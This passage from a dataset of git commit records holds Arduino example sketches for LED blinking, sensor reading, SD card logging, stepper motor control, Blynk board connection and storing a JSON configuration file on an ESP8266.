SerialUSB.print('\\t');\n SerialUSB.print(m.words[i], DEC);\n }\n #endif\n SerialUSB.write('\\n');\n }\n}\n\n","subject":"Add simple teensy throughput program","message":"Add simple teensy throughput program\n","lang":"Arduino","license":"mit","repos":"isaias-b\/arduino-examples,isaias-b\/arduino-examples,isaias-b\/arduino-examples"} {"commit":"86f90a45c5de27a9f4838a20de9e94fc731e8406","old_file":"arduino\/uno\/003_blinky_with_timer1_compa\/003_blinky_with_timer1_compa.ino","new_file":"arduino\/uno\/003_blinky_with_timer1_compa\/003_blinky_with_timer1_compa.ino","old_contents":"","new_contents":"\/**\n * Copyright (c) 2019, Łukasz Marcin Podkalicki \n * ArduinoUno\/003\n * Blinky with Timer1 COMPA.\n *\/\n\n#define LED_PIN (13)\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT); \/\/ set LED pin as output\n TCCR1A = 0; \/\/ clear register\n TCCR1B = _BV(WGM12); \/\/ set Timer1 to CTC mode\n TCCR1B |= _BV(CS12)|_BV(CS10); \/\/ set Timer1 prescaler to 1024\n TIMSK1 |= _BV(OCIE1A); \/\/ enable Timer1 COMPA interrupt\n OCR1A = 7812; \/\/ set value for Fx=1Hz, OCRnx = (16Mhz\/(Fx * 2 * 1024) + 1)\n interrupts(); \/\/ enable global interrupts\n}\n\nvoid loop() {\n \/\/ do nothing\n}\n\nISR(TIMER1_COMPA_vect) {\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Toggle LED pin\n}\n\n","subject":"Add next Arduino example - blinky with Timer1 COMPA.","message":"Add next Arduino example - blinky with Timer1 COMPA.\n","lang":"Arduino","license":"bsd-3-clause","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog"} {"commit":"6f9b8eb1b970ff4223cd143733a12d5f4294f062","old_file":"arduino\/uno\/001_blinky_with_delay_function\/001_blinky_with_delay_function.ino","new_file":"arduino\/uno\/001_blinky_with_delay_function\/001_blinky_with_delay_function.ino","old_contents":"","new_contents":"\/**\n * Copyright (c) 2019, Łukasz Marcin Podkalicki \n * ArduinoUno\/001\n * Blinky with delay function.\n *\/\n\n#define LED_PIN (13)\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Toggle LED pin\n delay(500); \/\/ wait 0.5s\n}\n\n","subject":"Add first Arduino example - blinky with delay function.","message":"Add first Arduino example - blinky with delay function.\n","lang":"Arduino","license":"bsd-3-clause","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog"} {"commit":"774b7cd6ac943d58d843d3f99bf757de5cd7eeaf","old_file":"temp_and_light_lcd\/temp_and_light_lcd.ino","new_file":"temp_and_light_lcd\/temp_and_light_lcd.ino","old_contents":"","new_contents":"\/*\n * Read temperature and light and display on the LCD\n *\n * For: Arduino Uno R3\n *\n * Parts:\n * 1x LCD (16x2 characters)\n * 1x 10 kΩ variable resistor\n * 1x 10 KΩ resistor\n * 1x 220 Ω resitor\n * 1x Photocell\n * 1x TMP36 temperature sensor\n *\/\n#include \n\nint temperaturePin = 0;\nint lightPin = 1;\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\nvoid setup() {\n \/\/ Set columns and rows to use\n lcd.begin(16, 2);\n \/\/ Start on the first row\n lcd.print(\"Temp : C\");\n}\n\nvoid loop() {\n int temperatureReading = analogRead(temperaturePin);\n float temperatureInVolts = (temperatureReading \/ 1024.0) * 5.0;\n float temperatureInCelcius = (temperatureInVolts - 0.5) * 100;\n \/\/ Jump 6 columns\n lcd.setCursor(6, 0);\n lcd.print(temperatureInCelcius);\n \n int lightReading = analogRead(lightPin);\n \/\/ Jump to the next row\n lcd.setCursor(0, 1);\n lcd.print(\"Light: \"); \n lcd.setCursor(6, 1);\n lcd.print(lightReading);\n delay(1000);\n}\n","subject":"Add code to read temperature and light to display on a LCD","message":"Add code to read temperature and light to display on a LCD\n","lang":"Arduino","license":"unlicense","repos":"pads\/arduino-learning"} {"commit":"2b8d74e66aa716e945a0e7e000ed67697aed2980","old_file":"ARTF_Sensors\/examples\/LowPowerMoistureWithSD\/LowPowerMoistureWithSD.ino","new_file":"ARTF_Sensors\/examples\/LowPowerMoistureWithSD\/LowPowerMoistureWithSD.ino","old_contents":"","new_contents":"\/*\n Test Moisture sensor readings on sensor platform\n\n This sketch is designed to test the accuracy of the Moisture\n sensor with the battery pack and circuit of the sensor platform.\n\n This sketch takes 5 readings and averages them to\n help verify similar calculations used in MoistureSensorGSM\n sketch. The results are written to the SD card\n\n Created 10 7 2014\n Modified 10 7 2014\n*\/\n#include \n\n#include \n\n\/\/ ARTF SDCard Dependency\n#include \n#include \n\n\n\/\/ Moisture sensor settings\nconst byte MOISTURE_PIN = A6;\nconst byte MOSFET_MS_PIN = 5;\nconst int NUM_READINGS = 5;\nconst int MOISTURE_MAX_READING = 600;\n\n\n\/\/ SD Card Settings\nconst byte SD_CS_PIN = 10;\n#define OUTPUT_FILENAME \"ultra.txt\"\n\n\nARTF_SDCard sd(SD_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\nint count = 1;\nvoid loop()\n{\n\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n String output = \"\";\n\n output += \"Trial \" + String(count) + \"\\n\";\n output += \"-------------------\\n\";\n\n\n digitalWrite(MOSFET_MS_PIN, HIGH);\n delay(3000);\n\n \/\/ Take X readings\n int moistureReadings[NUM_READINGS];\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n int reading = analogRead(MOISTURE_PIN);\n moistureReadings[i] = (double)reading \/ (double)MOISTURE_MAX_READING;\n\n output += String(i) + \". Analog:\" + String(reading) + \"; Calculated:\" + String(moistureReadings[i]) + \"\\n\";\n\n delay(300);\n }\n\n digitalWrite(MOSFET_MS_PIN, LOW);\n delay(500);\n\n\n \/\/ Average the readings\n double sumMoisture = 0.0;\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n sumMoisture += moistureReadings[i];\n }\n double avgMoisture = sumMoisture \/ NUM_READINGS;\n\n \/\/ Rounded measurements\n int roundedMoisture = round(avgMoisture * 100);\n\n output += \"Rounded:\" + String(roundedMoisture) + \"\\n\\n\";\n\n sd.begin();\n sd.writeFile(OUTPUT_FILENAME, output);\n\n delay(500);\n count += 1;\n}","subject":"Add test sketch for moisture sensor and sd card on kit","message":"Add test sketch for moisture sensor and sd card on kit\n","lang":"Arduino","license":"unlicense","repos":"UAA-EQLNES\/ARTF-Field-Sensors"} {"commit":"712e28a1166ffac7ffea7f677a4364abbbe79a58","old_file":"pseudoRandom_Demo\/pseudoRandom_Demo.ino","new_file":"pseudoRandom_Demo\/pseudoRandom_Demo.ino","old_contents":"","new_contents":"\/*\n * pseudoRandom Demonstration sketch\n * Author: Darrell Little\n * Date: 04\/29\/2017\n * This code is in the public domain\n *\/\n\/\/ Array to hold the pin numbers with LED connected\nint ledPin[] = {11,10,9,6};\n\/\/ Variable to set the delay time to blink\nint waitTime = 1000;\n\/\/ Variable to hold the random LED pin to blink\nint randomLED;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Use reading on Analog pin 0 for a randon seed\n randomSeed(analogRead(0));\n \/\/ Initialize each pin in array to Output and Low (off)\n for (int x=0; x<4; x++) {\n pinMode(ledPin[x], OUTPUT);\n digitalWrite(ledPin[x], LOW);\n }\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/ Randomly select a LED pin number\n randomLED = random(0,4);\n \/\/ Turn LED on\n digitalWrite(ledPin[randomLED], HIGH);\n delay(waitTime);\n \/\/ Turn LED off\n digitalWrite(ledPin[randomLED], LOW);\n delay(waitTime);\n}\n","subject":"Add pseudoRandom Demo for Science Museum project","message":"Add pseudoRandom Demo for Science Museum project\n","lang":"Arduino","license":"cc0-1.0","repos":"darrell24015\/Uno,darrell24015\/Uno"} {"commit":"a9e787693034e5b3a647ba2a24bab9d8ca5d24b9","old_file":"Calibration\/sdWrite\/sdWrite.ino","new_file":"Calibration\/sdWrite\/sdWrite.ino","old_contents":"","new_contents":"#include \n#include \n\nvoid setup() {\n \n \/\/this is needed for the duemilanove and uno without ethernet shield\n const int sdCardPin = 10;\n int loopCount = 0;\n\n \/\/for testing. delete before launches.\n Serial.begin(9600);\n delay(1000);\n pinMode(10,OUTPUT);\n \n if (!SD.begin(sdCardPin)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return; \n }\n Serial.println(\"card initialized.\");\n}\n\nvoid loop() {\n sdWrite(\"none\");\n}\n\n\/*\nFilename MUST be <=8 characters (not including the file extension) or the\nfile will not be created\n*\/\nbool sdWrite(String data) {\n File dataFile = SD.open(\"alex.txt\", FILE_WRITE);\n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(data);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(data);\n }\n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.println(\"error opening file\");\n dataFile.close();\n }\n}\n\n\r\n","subject":"Add original code for writing to SD card.","message":"Add original code for writing to SD card.\n","lang":"Arduino","license":"mit","repos":"karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015"} {"commit":"ee46a2cfa4c51515ba226b0a8bd1a1a2236b0f56","old_file":"Arduino\/HX711_LoadCell\/HX711_LoadCell.ino","new_file":"Arduino\/HX711_LoadCell\/HX711_LoadCell.ino","old_contents":"","new_contents":"\/*\n Inspired from code HX711 demo from Nathan Seidle, SparkFun Electronics\n\n This example code uses bogde's excellent library: https:\/\/github.com\/bogde\/HX711\n bogde's library is released under a GNU GENERAL PUBLIC LICENSE\n \n The HX711 does one thing well: read load cells. T\n\n Arduino pin (Nano)\n 2 -> HX711 CLK\n 3 -> HX711 DAT\n 3V3 -> HX711 VCC\n GND -> HX711 GND\n \n 5V -> Radio VCC\n 4 -> Radio GND \n RX -> Radio TX\n TX -> Radio RX\n \n\n \n The HX711 board can be powered from 2.7V to 5V so the Arduino 5V power should be fine.\n \n*\/\n\n#include \"HX711.h\"\n\n#define calibration_factor -7050.0 \/\/This value is obtained using the SparkFun_HX711_Calibration sketch\n\n#define DOUT 3\n#define CLK 2\n#define GND 4\n\nHX711 scale(DOUT, CLK);\n\nvoid setup() {\n pinMode(GND, OUTPUT);\n Serial.begin(57600);\n Serial.println(\"HX711 scale demo\");\n \n \/\/ Result of calibration\n scale.set_offset(8177300);\n scale.set_scale(-146.7); \/\/Read the raw value\n \n\n Serial.println(\"Readings:\");\n}\n\nvoid loop() {\n digitalWrite(GND, LOW);\n Serial.print(\"Reading: \");\n Serial.print(scale.read_average(), 1); \/\/raw value\n Serial.print(\" \");\n Serial.print(scale.get_units(), 1); \/\/scaled and offset after calibration\n Serial.print(\" g\"); \n Serial.println();\n}\n","subject":"Add script to read HX711 and load cell","message":"Add script to read HX711 and load cell\n","lang":"Arduino","license":"mit","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite"} {"commit":"e4f65dfd39c105169d200e2d5dd0af76593e9411","old_file":"shipStation\/stepper_demo\/stepper_demo.ino","new_file":"shipStation\/stepper_demo\/stepper_demo.ino","old_contents":"","new_contents":"#include \n#include \n#include \n\n\/* Written for ST6600 stepper driver\n * PUL+ 5v\n * PUL- Arduino pin 9\/11\n * DIR+ 5v\n * DIR- Arduino pin 8\/10\n * DC+ 24v power supply\n * DC- Gnd on power supply & Gnd on Arduino\n *\/\n\n\/\/ Each step is 0.12 degrees, or 0.002094395 radians\n#define STEPANGLE 0.002094395\n#define PI 3.1415926535897932384626433832795\n\nAccelStepper xAxis(1,8,9);\nAccelStepper yAxis(1,10,11);\nMultiStepper steppers;\n\nlong positions[2]; \/\/ x, y\nfloat angle = 0; \/\/ Radians, used to find x,y on a circle\nlong centerX = 0; \/\/ May be useful later\nlong centerY = 0;\nlong radius = 100;\n\nvoid setup()\n{\n \/\/ Initialize pins\n pinMode(8, OUTPUT); \/\/ x direction pin\n pinMode(9, OUTPUT); \/\/ x step pin\n pinMode(10, OUTPUT); \/\/ y direction pin\n pinMode(11, OUTPUT); \/\/ y step pin\n\n Serial.begin(115200);\n \n \/\/ Adjust these values after seeing it in action.\n xAxis.setMaxSpeed(300);\n xAxis.setAcceleration(100);\n yAxis.setMaxSpeed(300);\n yAxis.setAcceleration(100);\n\n \/\/ Add individual steppers to the multistepper object\n steppers.addStepper(xAxis);\n steppers.addStepper(yAxis);\n}\n\nvoid updatePos(float degs)\n{\n \/\/ Moves to a point on a circle, based on radius and angle\n \/\/ Blocks until finished\n float rads = degs * PI \/ 180;\n positions[0] = radius*cos(rads)+centerX; \/\/ x\n positions[1] = radius*sin(rads)+centerY; \/\/ y\n Serial.print(\"Deg = \");\n Serial.print(degs);\n Serial.print(\", \");\n Serial.print(positions[0]);\n Serial.print(\", \");\n Serial.print(positions[1]);\n Serial.println(\".\");\n steppers.moveTo(positions);\n steppers.runSpeedToPosition(); \n}\n\nvoid loop()\n{\n \/\/ Spiral outwards\n for(int degs=0; degs<360; degs++){\n updatePos(degs);\n radius += 10;\n }\n\n \/\/ Spiral inwards\n for(int degs=360; degs>0; degs--){\n updatePos(degs);\n radius -= 10;\n }\n}\n","subject":"Add early version of ship station demonstration software for OSU Expo","message":"Add early version of ship station demonstration software for OSU Expo\n","lang":"Arduino","license":"mit","repos":"LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017"} {"commit":"d194f63a3d3346041918773d1e71d5e111da63ba","old_file":"examples\/Boards_Ethernet\/Arduino_MKR_ETH\/Arduino_MKR_ETH.ino","new_file":"examples\/Boards_Ethernet\/Arduino_MKR_ETH\/Arduino_MKR_ETH.ino","old_contents":"","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Social networks: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use Arduino MKR ETH shield\n to connect your project to Blynk.\n\n Note: This requires the latest Ethernet library (2.0.0+)\n from http:\/\/librarymanager\/all#Ethernet\n\n WARNING: If you have an SD card, you may need to disable it\n by setting pin 4 to HIGH. Read more here:\n https:\/\/www.arduino.cc\/en\/Main\/ArduinoEthernetShield\n\n Feel free to apply it to any other example. It's simple!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n\n\n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define MKRETH_CS 5\n#define SDCARD_CS 4\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n\n pinMode(SDCARD_CS, OUTPUT);\n digitalWrite(SDCARD_CS, HIGH); \/\/ Deselect the SD card\n\n Ethernet.init(MKRETH_CS); \/\/ Init MKR ETH shield\n\n Blynk.begin(auth);\n \/\/ You can also specify server:\n \/\/Blynk.begin(auth, \"blynk-cloud.com\", 80);\n \/\/Blynk.begin(auth, IPAddress(192,168,1,100), 8080);\n \/\/ For more options, see Boards_Ethernet\/Arduino_Ethernet_Manual example\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add support for Arduino MKR ETH shield","message":"Add support for Arduino MKR ETH shield\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"} {"commit":"34be16c8da728997f62a6d4ce679e3d5c8f9992a","old_file":"libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_file":"libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","old_contents":"","new_contents":"\/\/ Example: storing JSON configuration file in flash file system\n\/\/\n\/\/ Uses ArduinoJson library by Benoit Blanchon.\n\/\/ https:\/\/github.com\/bblanchon\/ArduinoJson\n\/\/\n\/\/ Created Aug 10, 2015 by Ivan Grokhotkov.\n\/\/\n\/\/ This example code is in the public domain.\n\n#include \n#include \"FS.h\"\n\nbool loadConfig() {\n File configFile = SPIFFS.open(\"\/config.json\", \"r\");\n if (!configFile) {\n Serial.println(\"Failed to open config file\");\n return false;\n }\n\n size_t size = configFile.size();\n if (size > 1024) {\n Serial.println(\"Config file size is too large\");\n return false;\n }\n\n \/\/ Allocate a buffer to store contents of the file.\n std::unique_ptr buf(new char[size]);\n\n \/\/ We don't use String here because ArduinoJson library requires the input\n \/\/ buffer to be mutable. If you don't use ArduinoJson, you may as well\n \/\/ use configFile.readString instead.\n configFile.readBytes(buf.get(), size);\n\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(buf.get());\n\n if (!json.success()) {\n Serial.println(\"Failed to parse config file\");\n return false;\n }\n\n const char* serverName = json[\"serverName\"];\n const char* accessToken = json[\"accessToken\"];\n\n \/\/ Real world application would store these values in some variables for\n \/\/ later use.\n\n Serial.print(\"Loaded serverName: \");\n Serial.println(serverName);\n Serial.print(\"Loaded accessToken: \");\n Serial.println(accessToken);\n return true;\n}\n\nbool saveConfig() {\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"serverName\"] = \"api.example.com\";\n json[\"accessToken\"] = \"128du9as8du12eoue8da98h123ueh9h98\";\n\n File configFile = SPIFFS.open(\"\/config.json\", \"w\");\n if (!configFile) {\n Serial.println(\"Failed to open config file for writing\");\n return false;\n }\n\n json.printTo(configFile);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n delay(1000);\n Serial.println(\"Mounting FS...\");\n\n if (!SPIFFS.begin()) {\n Serial.println(\"Failed to mount file system\");\n return;\n }\n\n\n if (!saveConfig()) {\n Serial.println(\"Failed to save config\");\n } else {\n Serial.println(\"Config saved\");\n }\n\n if (!loadConfig()) {\n Serial.println(\"Failed to load config\");\n } else {\n Serial.println(\"Config loaded\");\n }\n}\n\nvoid loop() {\n}\n","subject":"Add example for storing JSON config file in SPIFFS","message":"Add example for storing JSON config file in SPIFFS\n","lang":"Arduino","license":"lgpl-2.1","repos":"Cloudino\/Cloudino-Arduino-IDE,me-no-dev\/Arduino,jes\/Arduino,Cloudino\/Arduino,chrisfraser\/Arduino,toastedcode\/esp8266-Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Arduino,Juppit\/Arduino,Cloudino\/Arduino,gguuss\/Arduino,chrisfraser\/Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,sticilface\/Arduino,hallard\/Arduino,hallard\/Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,hallard\/Arduino,Cloudino\/Arduino,edog1973\/Arduino,wemos\/Arduino,Juppit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,Juppit\/Arduino,NextDevBoard\/Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,jes\/Arduino,lrmoreno007\/Arduino,sticilface\/Arduino,wemos\/Arduino,quertenmont\/Arduino,Juppit\/Arduino,KaloNK\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Adam5Wu\/Arduino,gguuss\/Arduino,Cloudino\/Cloudino-Arduino-IDE,sticilface\/Arduino,edog1973\/Arduino,edog1973\/Arduino,Links2004\/Arduino,Cloudino\/Cloudino-Arduino-IDE,quertenmont\/Arduino,martinayotte\/ESP8266-Arduino,quertenmont\/Arduino,esp8266\/Arduino,wemos\/Arduino,KaloNK\/Arduino,Juppit\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,esp8266\/Arduino,gguuss\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,Cloudino\/Arduino,KaloNK\/Arduino,KaloNK\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,me-no-dev\/Arduino,CanTireInnovations\/Arduino,edog1973\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,gguuss\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,KaloNK\/Arduino,Adam5Wu\/Arduino,chrisfraser\/Arduino,Links2004\/Arduino,quertenmont\/Arduino,NullMedia\/Arduino,edog1973\/Arduino,martinayotte\/ESP8266-Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,sticilface\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,CanTireInnovations\/Arduino,NullMedia\/Arduino,hallard\/Arduino,jes\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,martinayotte\/ESP8266-Arduino,NextDevBoard\/Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Links2004\/Arduino,gguuss\/Arduino,Lan-Hekary\/Arduino,chrisfraser\/Arduino,CanTireInnovations\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,jes\/Arduino,chrisfraser\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,NextDevBoard\/Arduino,jes\/Arduino,NullMedia\/Arduino,wemos\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino"} {"commit":"f69ffade852a97c095e1634706865caff13fa9ff","old_file":"examples\/Boards_USB_Serial\/Blue_Pill_STM32F103C8\/Blue_Pill_STM32F103C8.ino","new_file":"examples\/Boards_USB_Serial\/Blue_Pill_STM32F103C8\/Blue_Pill_STM32F103C8.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use ordinary Arduino Serial\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n * Requires STM32duino: https:\/\/github.com\/rogerclarkmelbourne\/Arduino_STM32\/wiki\/Installation\n *\n **************************************************************\n * USB HOWTO: http:\/\/tiny.cc\/BlynkUSB\n **************************************************************\/\n\n#define BLYNK_PRINT Serial2\n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial2.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add STM32F103 Blue Pill example","message":"Add STM32F103 Blue Pill example\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"8ada9c9add04c5095a100147372537472b77eb5f","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","old_contents":"","new_contents":"\/\/ Example: storing JSON configuration file in flash file system\n\/\/\n\/\/ Uses ArduinoJson library by Benoit Blanchon.\n\/\/ https:\/\/github.com\/bblanchon\/ArduinoJson\n\/\/\n\/\/ Created Aug 10, 2015 by Ivan Grokhotkov.\n\/\/\n\/\/ This example code is in the public domain.\n\n#include \n#include \"FS.h\"\n\nbool loadConfig() {\n File configFile = SPIFFS.open(\"\/config.json\", \"r\");\n if (!configFile) {\n Serial.println(\"Failed to open config file\");\n return false;\n }\n\n size_t size = configFile.size();\n if (size > 1024) {\n Serial.println(\"Config file size is too large\");\n return false;\n }\n\n \/\/ Allocate a buffer to store contents of the file.\n std::unique_ptr buf(new char[size]);\n\n \/\/ We don't use String here because ArduinoJson library requires the input\n \/\/ buffer to be mutable. If you don't use ArduinoJson, you may as well\n \/\/ use configFile.readString instead.\n configFile.readBytes(buf.get(), size);\n\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(buf.get());\n\n if (!json.success()) {\n Serial.println(\"Failed to parse config file\");\n return false;\n }\n\n const char* serverName = json[\"serverName\"];\n const char* accessToken = json[\"accessToken\"];\n\n \/\/ Real world application would store these values in some variables for\n \/\/ later use.\n\n Serial.print(\"Loaded serverName: \");\n Serial.println(serverName);\n Serial.print(\"Loaded accessToken: \");\n Serial.println(accessToken);\n return true;\n}\n\nbool saveConfig() {\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"serverName\"] = \"api.example.com\";\n json[\"accessToken\"] = \"128du9as8du12eoue8da98h123ueh9h98\";\n\n File configFile = SPIFFS.open(\"\/config.json\", \"w\");\n if (!configFile) {\n Serial.println(\"Failed to open config file for writing\");\n return false;\n }\n\n json.printTo(configFile);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n delay(1000);\n Serial.println(\"Mounting FS...\");\n\n if (!SPIFFS.begin()) {\n Serial.println(\"Failed to mount file system\");\n return;\n }\n\n\n if (!saveConfig()) {\n Serial.println(\"Failed to save config\");\n } else {\n Serial.println(\"Config saved\");\n }\n\n if (!loadConfig()) {\n Serial.println(\"Failed to load config\");\n } else {\n Serial.println(\"Config loaded\");\n }\n}\n\nvoid loop() {\n}\n","subject":"Add example for storing JSON config file in SPIFFS","message":"Add example for storing JSON config file in SPIFFS\n","lang":"Arduino","license":"lgpl-2.1","repos":"koltegirish\/Arduino,wdoganowski\/Arduino,radut\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,radut\/Arduino,koltegirish\/Arduino,gonium\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,ssvs111\/Arduino,paulo-raca\/ESP8266-Arduino,drpjk\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,ssvs111\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,tannewt\/Arduino,noahchense\/Arduino-1,eeijcea\/Arduino-1,drpjk\/Arduino,paulmand3l\/Arduino,ogahara\/Arduino,gonium\/Arduino,smily77\/Arduino,sanyaade-iot\/Arduino-1,paulo-raca\/ESP8266-Arduino,weera00\/Arduino,weera00\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,gonium\/Arduino,spapadim\/Arduino,zenmanenergy\/Arduino,spapadim\/Arduino,gonium\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,weera00\/Arduino,mangelajo\/Arduino,koltegirish\/Arduino,zenmanenergy\/Arduino,leftbrainstrain\/Arduino-ESP8266,sanyaade-iot\/Arduino-1,noahchense\/Arduino-1,noahchense\/Arduino-1,EmuxEvans\/Arduino,sanyaade-iot\/Arduino-1,zenmanenergy\/Arduino,radut\/Arduino,zenmanenergy\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,weera00\/Arduino,koltegirish\/Arduino,drpjk\/Arduino,radut\/Arduino,smily77\/Arduino,myrtleTree33\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,jomolinare\/Arduino,aichi\/Arduino-2,aichi\/Arduino-2,mangelajo\/Arduino,sanyaade-iot\/Arduino-1,wdoganowski\/Arduino,jomolinare\/Arduino,wdoganowski\/Arduino,wdoganowski\/Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,EmuxEvans\/Arduino,weera00\/Arduino,smily77\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,tannewt\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,smily77\/Arduino,mateuszdw\/Arduino,radut\/Arduino,aichi\/Arduino-2,radut\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,weera00\/Arduino,ssvs111\/Arduino,smily77\/Arduino,spapadim\/Arduino,drpjk\/Arduino,smily77\/Arduino,smily77\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,leftbrainstrain\/A